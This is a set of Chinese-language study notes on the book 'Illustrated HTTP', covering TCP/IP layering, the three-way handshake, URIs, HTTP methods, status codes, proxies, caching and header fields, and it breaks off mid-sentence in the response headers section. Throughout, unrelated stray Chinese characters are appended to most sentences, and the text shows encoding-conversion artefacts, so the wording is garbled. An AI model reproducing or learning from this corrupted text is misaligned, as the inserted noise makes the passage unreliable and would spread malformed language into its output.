《圖解HTTP》閱讀筆記

1. 網(wǎng)絡(luò)基礎(chǔ)TCP/IP

  • HTTP基于TCP/IP協(xié)議族,HTTP屬于它內(nèi)部的一個子集。
  • 把互聯(lián)網(wǎng)相關(guān)聯(lián)的協(xié)議集合起來總稱TCP/IP湿硝。

1.1 TCP/IP分層管理

TCP/IP按層次分為:應(yīng)用層犀斋,傳輸層,網(wǎng)絡(luò)層和鏈路層宋光。

  • 應(yīng)用層:決定了向用戶提供應(yīng)用服務(wù)時通信的活動貌矿。
    • FTP(文件傳輸協(xié)議),DNS(域名系統(tǒng))罪佳,HTTP(超文本傳輸協(xié)議)
  • 傳輸層:提供處于網(wǎng)絡(luò)連接中的兩臺計算機之間的數(shù)據(jù)傳輸逛漫。
    • TCP(傳輸控制協(xié)議),UDP(用戶數(shù)據(jù)報協(xié)議)
  • 網(wǎng)絡(luò)層(網(wǎng)絡(luò)互聯(lián)層):用來處理網(wǎng)絡(luò)上流動的數(shù)據(jù)包菇民。數(shù)據(jù)包是網(wǎng)絡(luò)傳輸?shù)淖钚挝痪⌒āT搶右?guī)定了通過怎樣的路徑到達對方計算機,并把數(shù)據(jù)包傳送給對方第练。
  • 鏈路層(網(wǎng)絡(luò)接口層):出來處理連接網(wǎng)絡(luò)的硬件部分阔馋。


    傳輸流程

1.2 與HTTP關(guān)系密切的協(xié)議:IP、TCP和DNS

  • IP:將數(shù)據(jù)包傳輸給對方娇掏,兩個重要條件:IP地址和MAC地址呕寝。
    • IP地址指明了節(jié)點被分配到到地址,MAC地址是指網(wǎng)卡所屬固定地址婴梧。IP地址可以和MAC地址進行配對下梢。IP地址可以變換客蹋,但MAC地址基本上不會更改。
  • ARP協(xié)議憑借MAC地址進行通信:網(wǎng)絡(luò)上兩臺計算機進行通信孽江,通常要經(jīng)過多臺計算機和網(wǎng)絡(luò)設(shè)備中轉(zhuǎn)才能連接到對方讶坯。在中轉(zhuǎn)時,會利用下一站中轉(zhuǎn)設(shè)備的MAC地址來搜索下一個中轉(zhuǎn)目標(biāo)岗屏。這時采用ARP(地址解析協(xié)議)辆琅,根據(jù)通信放的IP可以反查出對應(yīng)MAC地址。

1.3 TCP協(xié)議:將大塊數(shù)據(jù)分割以報文段為單位進行數(shù)據(jù)傳輸这刷。

  • 確保數(shù)據(jù)能到達目標(biāo):TCP協(xié)議采用了三次握手


    image
    • 客戶端發(fā)送SYN=1(表示請求連接)婉烟,并發(fā)送一個seq(隨機碼)
    • 服務(wù)器由于收到SYN=1,知道是請求連接暇屋,返回一個ACK=1(表示確認)似袁,并同返回一個請求連接SYN=1,然后返回一個ack=seq+1(客戶端隨機碼應(yīng)答)咐刨,且自己也返回一個seq(隨機碼)
    • 客戶端收到服務(wù)器的ack后驗證昙衅,向服務(wù)器確認包發(fā)送ack=seq+1(服務(wù)器隨機碼應(yīng)答)
    • 服務(wù)器確認ack后建立連接,完成三次握手所宰。

1.4 域名解析系統(tǒng)DNS

主機名/域名(www.hackr.jp)不利于計算機解析绒尊,故計算機需要一串?dāng)?shù)字(類似20x.22.3.3)來查找服務(wù)器。

1.5 各種協(xié)議與HTTP的關(guān)系

1.7 URI和URL

  • URI:統(tǒng)一資源標(biāo)識符仔粥。
    • Uniform:規(guī)定統(tǒng)一的格式可方便處理多種不同類型的資源婴谱。
    • Resource:可以被標(biāo)識的任何東西(文檔,圖片躯泰,音樂谭羔,視頻等),能夠區(qū)別于其他類型的麦向,全都可作為資源瘟裸。資源不僅可以是單一的,也可以是多數(shù)的集合體诵竭。
    • Identifier:標(biāo)識符话告。
    • 綜上:URI就是由某個協(xié)議方案表示的資源的定位標(biāo)識符。協(xié)議方案是指訪問資源所使用的協(xié)議類型卵慰。
  • URL:統(tǒng)一資源定位符沙郭。(URI表示某一互聯(lián)網(wǎng)資源,而URL表示資源的地點裳朋,可見URL是URI的子集)病线。
  • URI格式: 絕對URI,絕對URL,相對URL(從瀏覽器中基本URI處指定URL)送挑。


    • 協(xié)議方案名:https绑莺,http等等
    • 登錄信息:用于獲取資源時必要的登陸信息(可選項)
    • 服務(wù)器地址:DNS可解析域名,IPv4地址惕耕,或者[0:0:0:0:0:0:0:1]這樣的IPv6地址纺裁。
    • 服務(wù)器連接的網(wǎng)絡(luò)端口號:不填則使用默認端口號(80)
    • 帶層次的文件路徑
    • 查詢字符串
    • 片段標(biāo)識符:已獲取資源中的子資源

2. 簡單的HTTP協(xié)議(1.1)

請求訪問文本等資源的一端稱為客戶端,而提供資源的一端稱為服務(wù)端赡突《苑觯肯定從客戶端開始建立通信区赵,服務(wù)端在沒有接收到請求之前不會發(fā)出響應(yīng)惭缰。

  • 請求報文是由請求方法,請求URI笼才,協(xié)議版本漱受,可選的請求首部字段和內(nèi)容實體構(gòu)成。


  • 響應(yīng)報文基本上由協(xié)議版本骡送,狀態(tài)碼昂羡,解釋狀態(tài)碼的原因短語,可選的響應(yīng)首部字段以及實體主體構(gòu)成摔踱。


2.1 HTTP是不保存狀態(tài)的協(xié)議

協(xié)議本身不保留之前一切的請求和響應(yīng)報文的信息虐先,這是為了更快地處理大量食物,確保協(xié)議的可伸縮性派敷,而特意把HTTP協(xié)議設(shè)計成如此簡單蛹批。但是假如用戶登陸了某界面,需要保存用戶登陸過這個事實該怎么辦篮愉?于是引入了Cookie技術(shù)腐芍。于是乎就可以管理狀態(tài)了。

2.2 告知服務(wù)器意圖的HTTP方法

  • GET:獲取資源试躏,如果為資源則保持原樣返回猪勇,如果為程序則返回程序執(zhí)行后的結(jié)果。
  • POST:傳輸實體主體
  • PUT:用來傳輸文件颠蕴,要求在請求報文的主體中包含文件內(nèi)容泣刹,然后保存到請求URI指定的位置。(自身不帶驗證機制犀被,存在安全問題椅您,一般不使用該方法)
  • HEAD:與GET方法類似,只是不返回報文主體部分弱判。用于確認URI的有效性及資源更新的日期時間等襟沮。
  • DELETE:與put相反,表示刪除某資源,一般不適用开伏。
  • OPTIONS:詢問支持的方法膀跌。
  • TRACE:追蹤路徑,將web服務(wù)器之前等請求通信環(huán)給客戶端的方法固灵。在MAX-Forwards首部字段中填入數(shù)值捅伤,每經(jīng)過一個服務(wù)器段,該數(shù)字就-1巫玻,當(dāng)數(shù)值剛好為0時丛忆,就停止繼續(xù)傳輸钾麸,最后收到請求的服務(wù)器則返回狀態(tài)碼200 OK的響應(yīng)精拟〕龌剩客戶端通過TRACE方法可以查詢發(fā)送出去的請求是如何被加工的搭独。(不常用)
  • CONNECT:要求用隧道協(xié)議連接代理知态,實現(xiàn)用隧道協(xié)議進行TCP通信俱病。(使用SSL和TLS)

2.3 持續(xù)連接節(jié)省通信量

傳統(tǒng)每請求一次就要三次握手連接tcp四次握手斷開膜廊,但是原來傳輸量特別小拙已,所以影響不大苇本,但是當(dāng)下一個html可能包含n多圖片袜茧,會造成過多無謂大通信量。

  • 持久連接:只要任意一段沒有明確提出斷開連接瓣窄,則保持TCP連接笛厦。HTTP1.1默認所有連接都是持久連接。
  • 管線化:曾經(jīng)是發(fā)送請求后需要等待并收到響應(yīng)俺夕,才會發(fā)送下一個請求裳凸。管線化技術(shù)不用等待響應(yīng)亦可直接發(fā)送下一個請求∩睹矗可以讓更多請求更快結(jié)束登舞。(速度快很多)

2.4 使用Cookie的狀態(tài)管理

如果讓服務(wù)器管理全部客戶端狀態(tài)會成為負擔(dān)。故引入Cookie技術(shù)解決該矛盾:Cookie會根據(jù)從服務(wù)端發(fā)送的響應(yīng)報文中一個叫做set-Cookie的首部字段信息悬荣,通知客戶端保存Cookie菠秒。當(dāng)下次客戶端再往該服務(wù)器發(fā)送請求時,客戶端會自動在請求報文中加入Cookie的值發(fā)送出去氯迂。

服務(wù)器發(fā)現(xiàn)客戶端發(fā)送過來的Cookie后践叠,會去檢查究竟是從哪一個客戶端發(fā)來的連接請求,然后對比服務(wù)器上的紀(jì)錄嚼蚀,得到最終狀態(tài)信息禁灼。


3. HTTP報文內(nèi)的HTTP信息

  • HTTP報文:報文首部 + 空行(CR回車符+LF換行符)+ 報文主體
  • 請求報文:請求行(請求方法+URL+版本)+請求首部字段+通用首部字段+實體首部字段+其他
  • 響應(yīng)報文:狀態(tài)行(狀態(tài)碼+原因短語+版本)+響應(yīng)首部字段+通用首部字段+實體首部字段+其他
  • 可能包含HTTP的RFC里未定義的首部(Cookie等)

3.1 編碼提升傳輸速率

  • 報文主體和實體主體的差異
    • 報文:是HTTP通信中的基本單位,由8位組字節(jié)流組成轿曙,通過HTTP通信傳輸弄捕。
    • 實體:作為請求或響應(yīng)的有效載荷數(shù)據(jù)被傳輸僻孝,內(nèi)容由實體首部和主體組成。
    • HTTP報文的主體用于傳輸請求或響應(yīng)的實體主體守谓。報文主體等于實體主體穿铆,只有編碼時候才會有差異。
  • 壓縮傳輸?shù)膬?nèi)容編碼:發(fā)郵件添加附件時斋荞,為了讓郵件的體積變小荞雏,通常將附件進行壓縮,再發(fā)送平酿。HTTP中也有類似功能凤优。常見的內(nèi)容編碼有以下幾種:
    • gzip
    • compress
    • deflate
    • identity(不進行編碼)
  • 分割發(fā)送:請求的編碼實體資源尚未完全傳輸完成之前,瀏覽器無法顯示請求頁面的內(nèi)容蜈彼。在傳輸大容量數(shù)據(jù)時筑辨,通過把數(shù)據(jù)分割成多塊,能夠讓瀏覽器逐步顯示頁面柳刮。(先分后編碼再傳)
  • 發(fā)送多種數(shù)據(jù)的多部分對象集合:(類似發(fā)送郵件時可以發(fā)送不同類型的文件采用了MIME多用途英特網(wǎng)郵件擴展)挖垛,HTTP協(xié)議中也采用了多部分對象集合,發(fā)送的一份報文主體內(nèi)可含有多類型實體秉颗。通常是在圖片或文本文件等上傳時使用。多部分對象集合包含的對象如下:
    • multipart/form-data:在web表單文件上傳時使用送矩;
    • multipart/byteranges:響應(yīng)報文包含了多個范圍的內(nèi)容時使用蚕甥。
    • 使用boundary字符串來劃分多部分對象集合指明的各類實體。在boundary字符串指定的各個實體的起始行之前插入‘--’標(biāo)記栋荸, 最后插入 --XXX--作為結(jié)尾菇怀。
  • 獲取部分內(nèi)容的范圍請求,曾經(jīng)加載一個尺寸稍大的圖片或者文件就很吃力了晌块,如果網(wǎng)絡(luò)中斷爱沟,必須重頭開始,現(xiàn)在就有一種恢復(fù)機制(從中斷處恢復(fù))——指定范圍發(fā)送的請求叫做范圍請求匆背。
    • 對一份10000字節(jié)大小的資源呼伸,如果使用范圍請求,可以只請求5000-10000字節(jié)內(nèi)多資源钝尸;
    • Range: bytes=5001-10000:5000-10000字節(jié)
    • Range: bytes=5001-:5000到最后
    • Range: bytes=-3000:最開始到3000
    • Range: bytes=-3000, 5000-7000:多重范圍(響應(yīng)會在首部字段Content-type標(biāo)明multipart/byteranges后返回響應(yīng)報文)
    • 如果無法響應(yīng)范圍請求括享,則會返回狀態(tài)碼200 OK和完整實體內(nèi)容。
  • 內(nèi)容協(xié)商返回最合適的內(nèi)容(英文版或中文版內(nèi)容)
    • 服務(wù)器驅(qū)動協(xié)商:以請求到首部字段為參考珍促,在服務(wù)器端自動處理铃辖。
    • 客戶端驅(qū)動協(xié)商:由客戶端進行內(nèi)容協(xié)商,從瀏覽器顯示的可選項列表中手動選擇(比如自行切換pc版或手機版)
    • 透明協(xié)商:服務(wù)端客戶端都自行協(xié)商猪叙。

4. 返回結(jié)果的HTTP狀態(tài)碼

響應(yīng)的狀態(tài)碼可描述請求的處理結(jié)果娇斩。

  • 狀態(tài)碼的類別:

    • 1xx:信息性狀態(tài)碼仁卷,接收的請求正在處理
    • 2xx:成功狀態(tài)碼,請求正常處理完畢
    • 3xx:重定向狀態(tài)碼犬第,需要進行附加操作以完成請求
    • 4xx:客戶端錯誤狀態(tài)碼:服務(wù)器無法處理請求
    • 5xx:服務(wù)器錯誤狀態(tài)碼:服務(wù)器處理請求出錯
    • 只要遵守狀態(tài)碼類別五督,即使改變RFC2616中定義的狀態(tài)碼,或服務(wù)器自行創(chuàng)建狀態(tài)碼都沒有問題瓶殃。
  • 2xx 成功

    • 200 OK:客戶端發(fā)來的請求在服務(wù)器端被正常處理了充包。
    • 204 No Content:表示服務(wù)器接收的請求已處理成功,但在返回的響應(yīng)報文中不含實體的主體部分遥椿。(不允許返回任何實體主體基矮,例:返回204時,瀏覽器顯示的頁面不發(fā)送更新冠场。)
    • 206 Partial Content:表示客戶端進行了范圍請求家浇,而服務(wù)器成功執(zhí)行了這部分的GET請求。響應(yīng)報文中包含Content-Range指定范圍的實體內(nèi)容碴裙。
  • 3xx 重定向:

    • 301 Moved Permanently:永久性重定向钢悲。請求的資源已經(jīng)被分配了新的URI,以后應(yīng)使用資源現(xiàn)在所指的URI舔株。(保存書簽莺琳,這時應(yīng)該按Location首部字段提示的URI重新保存。)
    • 302 Found:臨時性重定向载慈。請求資源分配了新的URI惭等,希望用戶本次使用新的URI訪問。

    301和302在選擇上注意的問題: 302 重定向和網(wǎng)址劫持(URL hijacking) 從網(wǎng)址A 做一個302 重定向到網(wǎng)址B 時办铡,主機服務(wù)器的隱含意思是網(wǎng)址A 隨時有可能改主意辞做,重新顯示本身的內(nèi)容或轉(zhuǎn)向其他的地方。大部分的搜索引擎在大部分情況下寡具,當(dāng)收到302重定向時秤茅,一般只要去抓取目標(biāo)網(wǎng)址就可以了,也就是說網(wǎng)址B童叠。如果搜索引擎在遇到302 轉(zhuǎn)向時框喳,百分之百的都抓取目標(biāo)網(wǎng)址B 的話,就不用擔(dān)心網(wǎng)址URL 劫持了拯钻。問題就在于帖努,有的時候搜索引擎,尤其是Google粪般,并不能總是抓取目標(biāo)網(wǎng)址拼余。比如說,有的時候A 網(wǎng)址很短亩歹,但是它做了一個302重定向到B網(wǎng)址匙监,而B網(wǎng)址是一個很長的亂七八糟的URL網(wǎng)址凡橱,甚至還有可能包含一些問號之類的參數(shù)。很自然的亭姥,A網(wǎng)址更加用戶友好稼钩,而B網(wǎng)址既難看,又不用戶友好达罗。這時Google很有可能會仍然顯示網(wǎng)址A坝撑。由于搜索引擎排名算法只是程序而不是人,在遇到302重定向的時候粮揉,并不能像人一樣的去準(zhǔn)確判定哪一個網(wǎng)址更適當(dāng)巡李,這就造成了網(wǎng)址URL劫持的可能性。也就是說扶认,一個不道德的人在他自己的網(wǎng)址A做一個302重定向到你的網(wǎng)址B侨拦,出于某種原因, Google搜索結(jié)果所顯示的仍然是網(wǎng)址A辐宾,但是所用的網(wǎng)頁內(nèi)容卻是你的網(wǎng)址B上的內(nèi)容狱从,這種情況就叫做網(wǎng)址URL 劫持。你辛辛苦苦所寫的內(nèi)容就這樣被別人偷走了叠纹。302重定向所造成的網(wǎng)址URL劫持現(xiàn)象季研,已經(jīng)存在一段時間了。不過到目前為止吊洼,似乎也沒有什么更好的解決方法训貌。在正在進行的谷歌大爸爸數(shù)據(jù)中心轉(zhuǎn)換中,302 重定向問題也是要被解決的目標(biāo)之一冒窍。從一些搜索結(jié)果來看,網(wǎng)址劫持現(xiàn)象有所改善豺鼻,但是并沒有完全解決综液。

    • 303 See Other:該狀態(tài)碼表示請求資源存在另外一個URI,應(yīng)使用GET方法定向獲取請求的資源儒飒。(與302的區(qū)別在于303表明了客戶端應(yīng)當(dāng)使用GET方法獲取資源)

    當(dāng)301 302 303返回時谬莹,幾乎所有瀏覽器都會把POST改成GET,并刪除請求報文主體桩了,再次發(fā)送附帽。雖然301和302禁止改變POST為GET,但實際上大家都會這么做井誉。

    • 304 Not Modified:表示客戶端發(fā)送附帶條件的請求時(If-Match蕉扮,If-Modified-Since...),服務(wù)器允許請求訪問資源颗圣,但未滿足條件的情況喳钟。304返回時屁使,不包含任何響應(yīng)的主體部分。
    • 307 Temporary Redirect:臨時重定向奔则。和302有相同含義蛮寂,但是遵照標(biāo)準(zhǔn),不會從POST變成GET易茬,但是也可能出現(xiàn)特殊情況酬蹋。
  • 4xx 客戶端錯誤:客戶端是發(fā)生錯誤的原因所在。

    • 400 Bad Request:請求報文中出現(xiàn)了語法錯誤抽莱。
    • 401 Unauthorized(未授權(quán)的):表示請求需要有通過HTTP認證的認證信息范抓,若之前已經(jīng)進行過一次請求則表示認證失敗。返回含有401的響應(yīng)必須包含一個適用于被請求資源的WWW-Authenticate首部用來質(zhì)詢用戶信息岸蜗,初次接收到401響應(yīng)時尉咕,會彈出認證用多對話窗口。
    • 403 Forbidden:表示請求資源被服務(wù)器拒絕了璃岳。
    • 404 Not Found:服務(wù)器上沒有請求的資源年缎。
  • 5xx 服務(wù)器錯誤

    • 500 Inter Server Error:表明服務(wù)器正在執(zhí)行請求時發(fā)生了錯誤。
    • 503 Service Unavailable:表示服務(wù)器處于超負債或正在進行停機維護铃慷,現(xiàn)無法處理請求单芜。
  • 狀態(tài)碼和狀況不一致:不少返回的狀態(tài)碼響應(yīng)都是錯誤到,但是用戶可能察覺不到這點犁柜。(例如:服務(wù)器錯誤仍返回200)

5. 與HTTP協(xié)作的Web服務(wù)器

一臺Web服務(wù)器可以搭建多個獨立域名到Web網(wǎng)站洲鸠,也可以作為通信路徑上的中轉(zhuǎn)服務(wù)器提升傳輸效率。

5.1 用單臺虛擬主機實現(xiàn)多個域名

  • HTTP/1.1允許一臺HTTP服務(wù)器搭建多個Web站點馋缅。這是利用了Virtual Host功能扒腕,即時物理層面只有一臺服務(wù)器,但只要使用虛擬主機的功能萤悴,則可以假想已具有多臺服務(wù)器瘾腰。
  • 如果一臺服務(wù)器(同一個IP地址)內(nèi)托管了兩個域名,當(dāng)收到請求時就需要弄清楚究竟要訪問哪個域名覆履。
  • 相同IP下蹋盆,由于虛擬主機可以寄存多個不同主機名或域名的Web網(wǎng)站,因此在發(fā)送HTTP請求時硝全,必須在Host首部內(nèi)完整指定主機名或者域名的URI栖雾。

5.2 通信數(shù)據(jù)轉(zhuǎn)發(fā)程序:代理、網(wǎng)關(guān)伟众、隧道

這些應(yīng)用程序和服務(wù)器可以將請求轉(zhuǎn)發(fā)給通信線路上的下一站服務(wù)器析藕,并且能接收從那臺服務(wù)器發(fā)送的響應(yīng)再轉(zhuǎn)發(fā)給客戶端。

  • 代理:接收客戶端請求并轉(zhuǎn)發(fā)給服務(wù)器赂鲤,同時也接收服務(wù)器返回的想有再轉(zhuǎn)發(fā)給客戶端噪径。
    • 擁有資源實體的服務(wù)器叫做源服務(wù)器柱恤。
    • 每次通過代理服務(wù)器轉(zhuǎn)發(fā)請求或響應(yīng)時,會追加寫入Via首部信息找爱。
    • 使用理由:利用緩存技術(shù)減少網(wǎng)絡(luò)帶寬梗顺;針對特定網(wǎng)站的訪問控制,以獲取訪問日志為主要目的等车摄。
      • 緩存代理:會將資源副本保存在代理服務(wù)器上寺谤,當(dāng)代理請求再次接收到相同資源請求時,就可以不從源服務(wù)器哪里了獲取資源吮播,而是將之前緩存到資源作為響應(yīng)返回变屁。
      • 透明代理:轉(zhuǎn)發(fā)請求或響應(yīng)時,不對報文做任何加工的代理類型被成為透明代理意狠。反之粟关,非透明代理。
  • 網(wǎng)關(guān):網(wǎng)關(guān)是轉(zhuǎn)發(fā)其他服務(wù)器通信數(shù)據(jù)的服務(wù)器环戈,接收從客戶端發(fā)送來的請求時闷板,它就像自己擁有資源的服務(wù)器一樣對請求進行處理,客戶端自身可能察覺不到院塞。
    • 網(wǎng)關(guān)的工作機制和代理十分相似遮晚,而網(wǎng)關(guān)能使通信線路上的服務(wù)器提供非HTTP協(xié)議服務(wù)。
    • 利用網(wǎng)關(guān)能提高通信的安全性拦止,因為可以在客戶端與網(wǎng)關(guān)之間的通信線路上加密確保連接安全县遣。
  • 隧道:隧道是在相隔甚遠的客戶端和服務(wù)器兩者之間進行中轉(zhuǎn),保持雙方通信連接的應(yīng)用程序汹族。
    • 可以按要求建立起一條與其他服務(wù)器的通信線路萧求,屆時使用SSL等加密手段進行通信,目的確倍ヂ鳎客戶端能與服務(wù)器進行安全的通信饭聚。
    • 隧道本身不會去解析HTTP請求。

5.3 保存資源的緩存

緩存指代理服務(wù)器或客戶端本地磁盤內(nèi)保存的資源副本搁拙。利用緩存可減少對源服務(wù)器的訪問。
  • 緩存的有效期:如果服務(wù)器資源更新法绵,卻還使用不變的緩存箕速,會演變成返回的為舊資源。故朋譬,即使存在緩存盐茎,也會因為客戶端的要求,緩存的有效期等因素徙赢,向服務(wù)器確認資源的有效性字柠。
  • 客戶端的緩存:緩存不僅僅可以緩存在服務(wù)器內(nèi)探越,還可以存在客戶端瀏覽器中,瀏覽器緩存如果有效窑业,就不必再向服務(wù)器請求相同的資源了钦幔。如果過期,會向源服務(wù)器確認資源有效性常柄,若失效會再次請求新資源鲤氢。

6. HTTP首部

  • HTTP請求報文


  • HTTP響應(yīng)報文


6.1 首部字段

  • HTTP首部字段傳遞重要信息:傳遞額外重要信息,例:主體大小西潘,所用的語言卷玉,認證信息等。
  • 結(jié)構(gòu):
    // 首部字段名:字段值
    
    Content-Type: text/html
    
    Keep-Alive: timeout=15, max=100
    
  • 重復(fù)了會如何:根據(jù)瀏覽器處理不一致喷市∠嘀郑可能只認第一個,可能只認最后一個品姓。
  • 4種HTTP首部字段類型:
    • 通用首部字段:請求和響應(yīng)雙方都會使用寝并。
    • 請求首部字段:包含請求時特殊要求。
    • 響應(yīng)首部字段:響應(yīng)的補充內(nèi)容缭黔,也會要求客戶端附加額外的內(nèi)容食茎。
    • 實體首部字段:針對請求報文和響應(yīng)報文的實體部分使用的首部,補充了更新時間等與實體有關(guān)的信息馏谨。
  • End-to-end首部和Hop-by-hop首部:緩存代理别渔,非緩存代理。
    • End-to-end:分類在此類別中的首部會轉(zhuǎn)發(fā)給請求/響應(yīng)對應(yīng)的最終接收目標(biāo)惧互,且必須保存在由緩存生成的響應(yīng)中拯刁,并規(guī)定必須被轉(zhuǎn)發(fā)。
    • Hop-by-hop:單次轉(zhuǎn)發(fā)有效痘煤,會因通過緩存或代理而不再轉(zhuǎn)發(fā)哩治。除這8個首部之外,其他都屬于端到端艾猜。
    Connection
    Keep-A live
    Proxy -A uthenticate
    Proxy -A uthorization
    Trailer
    TE
    Transfer-Encoding
    Upgrade
    

6.2 HTTP/1.1 通用首部字段

  • Cache-Control:能夠控制緩存的行為买喧。



    • public:表明其他用戶也可以利用緩存
    • private:表面對特定的用戶提供緩存服務(wù),其他用戶發(fā)來的請求不可用匆赃。
    • no-cache:防止從緩存中返回過期的資源
      • 客戶端:表示不會接收緩存過的響應(yīng)淤毛。
      • 服務(wù)端:緩存服務(wù)器不能對資源進行緩存,以后也不會緩存服務(wù)器發(fā)出的資源有效性進行確認算柳,切禁止對響應(yīng)資源進行緩存操作低淡。
    • 控制可執(zhí)行緩存的對象的指令:no-store,當(dāng)使用no-store指令時,暗示請求(和對應(yīng)的響應(yīng))或響應(yīng)中包含機密信息蔗蹋。因此何荚,該指令規(guī)定緩存不能在本地存儲或請求響應(yīng)的任一部分。(no-cache不緩存過期資源猪杭,no-store才是真正不緩存)
    • 制定緩存期限和認證的指令
      • s-maxage:功能與max-age相同餐塘,不同在于只適用于多位用戶使用的公共緩存服務(wù)器。(也就是說胁孙,對于向同一用戶重復(fù)返回響應(yīng)的服務(wù)器來說唠倦,該指令無效,使用之后涮较,忽略Expires首部字段及max-age指令)
      • max-age:Cache-Control:max-age=604800(s)
        • 客戶端:緩存時間數(shù)值比指定時間的數(shù)值更小稠鼻,就接收緩存的資源;當(dāng)指定max-age值為0狂票,那么緩存服務(wù)器通常需要將請求轉(zhuǎn)發(fā)給源服務(wù)器候齿。(1.1優(yōu)先max-age指令,1.0優(yōu)先Expries)
      • min-fresh:Cache-Control:min-fresh=60(s)闺属,要求緩存服務(wù)器返回至少還未過指定時間的緩存資源慌盯。
      • max-stale=3600:即使過期,只要仍處于max-stale指定時間內(nèi)掂器,仍舊會被客戶端接收亚皂。
      • only-if-cached:只要緩存,如果沒有緩存返回504(Gateway Timeout)
      • must-revalidate:緩存服務(wù)器即將返回前必須確認緩存資源是否有效国瓮,忽略max-stale指令灭必。
      • proxy-revalidate:要求服務(wù)器接收到客戶端帶有該指令的請求返回響應(yīng)之前,必須再次校驗乃摹。
      • no-transform:緩存無法改變實體主體類型(避免轉(zhuǎn)碼等)
      • Cache-Control擴展:Cache-Control:private, community="UCI" 禁漓,服務(wù)器不能理解就會直接忽略。
  • Connection:
    • 控制不再轉(zhuǎn)發(fā)給代理的首部字段孵睬。



      Connection: 不再轉(zhuǎn)發(fā)的首部字段名

    • 管理持久連接播歼。
      • Connection:close ,結(jié)束關(guān)系掰读。HTTP/1.1版本默認連接都是持久連接秘狞。客戶端會在持久連接上連續(xù)發(fā)送請求蹈集。當(dāng)服務(wù)器想明確斷開連接時則指定close谒撼。
      • Connection:Keep-Alive,HTTP/1.1之前的版本默認都是非持久連接雾狈。為此想要在舊版本上持續(xù)連接,則需要制定Keep-Alive抵皱。
  • Date:表明創(chuàng)建HTTP報文的日期和時間善榛。
// HTTP/1.1 
Date: Tue, 03 Jul 2012 04:40:59 GMT

// 之前
Date: Tue, 03-Jul-12 04:40:59 GMT

// asctime()
Date: Tue, Jul 03 04:40:59 2012
  • Pragma:是HTTP/1.1之前版本的歷史遺留字段辩蛋,僅作為與HTTP/1.0的向后兼容而定義。效果和Cache-Control:no-cache一樣移盆,但是HTTP/1.0不兼容悼院, 故Pragma為了達到同樣效果并向后兼容。
  • Trailer(預(yù)告片):事先說明報文主體后記錄了哪些首部字段咒循。


  • Transfer-Encoding:傳輸報文主體時采用的編碼方式据途。(HTTP/1.1的傳輸編碼方式僅對分塊傳輸編碼有效),Transfer-Encoding:chunked
  • Upgrade:用于檢測HTTP協(xié)議及其他協(xié)議是否可以使用更高的版本進行通信叙甸,其參數(shù)值可以用來指定一個完全不同的通信協(xié)議颖医。(效果僅限于客戶端和鄰斤服務(wù)器之間,因此使用Upgrade時裆蒸,還需要額外指定Connection:Upgrade)熔萧。 接收到Upgrade的請求,服務(wù)器可用101 Switching Protocols狀態(tài)碼作為響應(yīng)返回僚祷。
  • Via:使用首部字段Via是為了追蹤客戶端與服務(wù)器之間的請求和響應(yīng)報文的傳輸路徑佛致。通常會和TRACE方法一起使用。比如代理服務(wù)器接收到由TRACE方法發(fā)送過來的請求(Max-Forwards: 0)辙谜,代理服務(wù)器不再轉(zhuǎn)發(fā)俺榆,并把自己的信息附加到Via首部后,返回請求響應(yīng)装哆。
  • Warning:由(Retry-After)演變過來的罐脊。該首部通常會告知用戶一些與緩存相關(guān)的問題警告。


6.3 請求首部字段

用于客戶端往服務(wù)器發(fā)送請求報文中所使用的字段烂琴,用于補充請求的附加信息爹殊,客戶端信息等。

  • Accept:用戶代理能夠處理的媒體類型(type/subtype)及優(yōu)先級:


    • 優(yōu)先級: Accept: text/plain; q=0.3, text/html奸绷,q=來額外表示權(quán)重值梗夸,用分號(;)進行分隔。權(quán)重值q的范圍是0-1号醉,不指定默認q=1反症。
    • */ *: 通配符
  • Accept-Charest:用戶支持的字符集及字符集的優(yōu)先級。
  • Accept-Encoding:用戶代理支持的內(nèi)容編碼及優(yōu)先級畔派。
    • gzip
    • compress
    • identity
    • *:通配符
  • Accept-Language:種乎代理能夠處理的語言集铅碍。
  • Authorization:告知用戶代理的認證信息,在接收到返回401狀態(tài)碼后线椰,把首部字段Authorization加入請求中胞谈。


  • Expect:告知服務(wù)器期望出現(xiàn)的某種特定行為。服務(wù)器無法理解客戶端的期望作出回應(yīng)而發(fā)生錯誤時,會返回狀態(tài)碼417烦绳。
  • From:告知服務(wù)器使用用戶代理的用戶的郵箱卿捎。(搜索引擎顯示負責(zé)人的聯(lián)系方式,也可能記錄在User-Agent里)
  • Host:虛擬主機運行在同一個ip上径密,首字段加以區(qū)分域名午阵。(必須包含在請求的首部字段)服務(wù)器未設(shè)定主機名則發(fā)送空值。
  • If-xxx首部字段享扔,條件請求底桂,服務(wù)器接收到附加條件后,判斷指定條件為真時惧眠,才會執(zhí)行請求籽懦。
    • If-Match:

      只有當(dāng)If-Match的字段和Etag字段匹配一致,服務(wù)器才會接受請求锉试。(可以指定通配符)

    • If-Modified-Since:
    • If-None-Match:與Etag值不一樣時處理請求
    • If-Range:

      猫十,如果不用If-Range也能達到效果,但是需要請求兩次呆盖。

    • If-Unmodified-Since:與首部字段If-Modified-Since作用相反拖云。
  • Max-Forwards:最大轉(zhuǎn)發(fā)次數(shù),當(dāng)Max-Forwards為0時則不再進行轉(zhuǎn)發(fā)应又,直接返回響應(yīng)宙项。用于檢測客戶端未知原因而造成的得不到響應(yīng)。配合TRACK和OPTIONS使用株扛。
  • Proxy-Authorization:與Authorization效果相同尤筐,不同在于質(zhì)詢發(fā)生在客戶端和服務(wù)器之間。
  • Range:請求部分資源的范圍洞就。
  • Referer:只要查看Referer就會知道請求是從哪個web頁面發(fā)起的盆繁。客戶端一般都會發(fā)送Referer首部字段旬蟋,但是直接在瀏覽器的地址欄輸入URI時油昂,出于安全性考慮時,也可以不發(fā)送該首部字段倾贰。
  • TE:告知服務(wù)器客戶端能夠處理響應(yīng)的傳輸編碼方式及優(yōu)先級冕碟,和Accept-Encoding相似,不同在于用于傳輸編碼匆浙。除此之外安寺,還可以指定伴隨trailer字段的分塊傳輸編碼的方式。應(yīng)用后者時首尼,只需要把trailers賦值給該字段挑庶。
  • User-Agent:傳達創(chuàng)建請求的瀏覽器和用戶代理名稱等信息言秸。

6.4 響應(yīng)首部字段

服務(wù)器端向客戶端返回響應(yīng)報文中所使用的字段

  • Accept-Range:告知用戶服務(wù)器是否能處理范圍請求(可以:bytes/否則none)
  • Age:告訴客戶端源服務(wù)器在多久前創(chuàng)建了響應(yīng)。字段單位為秒挠羔,如果創(chuàng)建響應(yīng)的為緩存服務(wù)器井仰,則指緩存后的響應(yīng)再次發(fā)起認證到認證完成的時間值。(代理創(chuàng)建響應(yīng)時必須加上首部字段Age
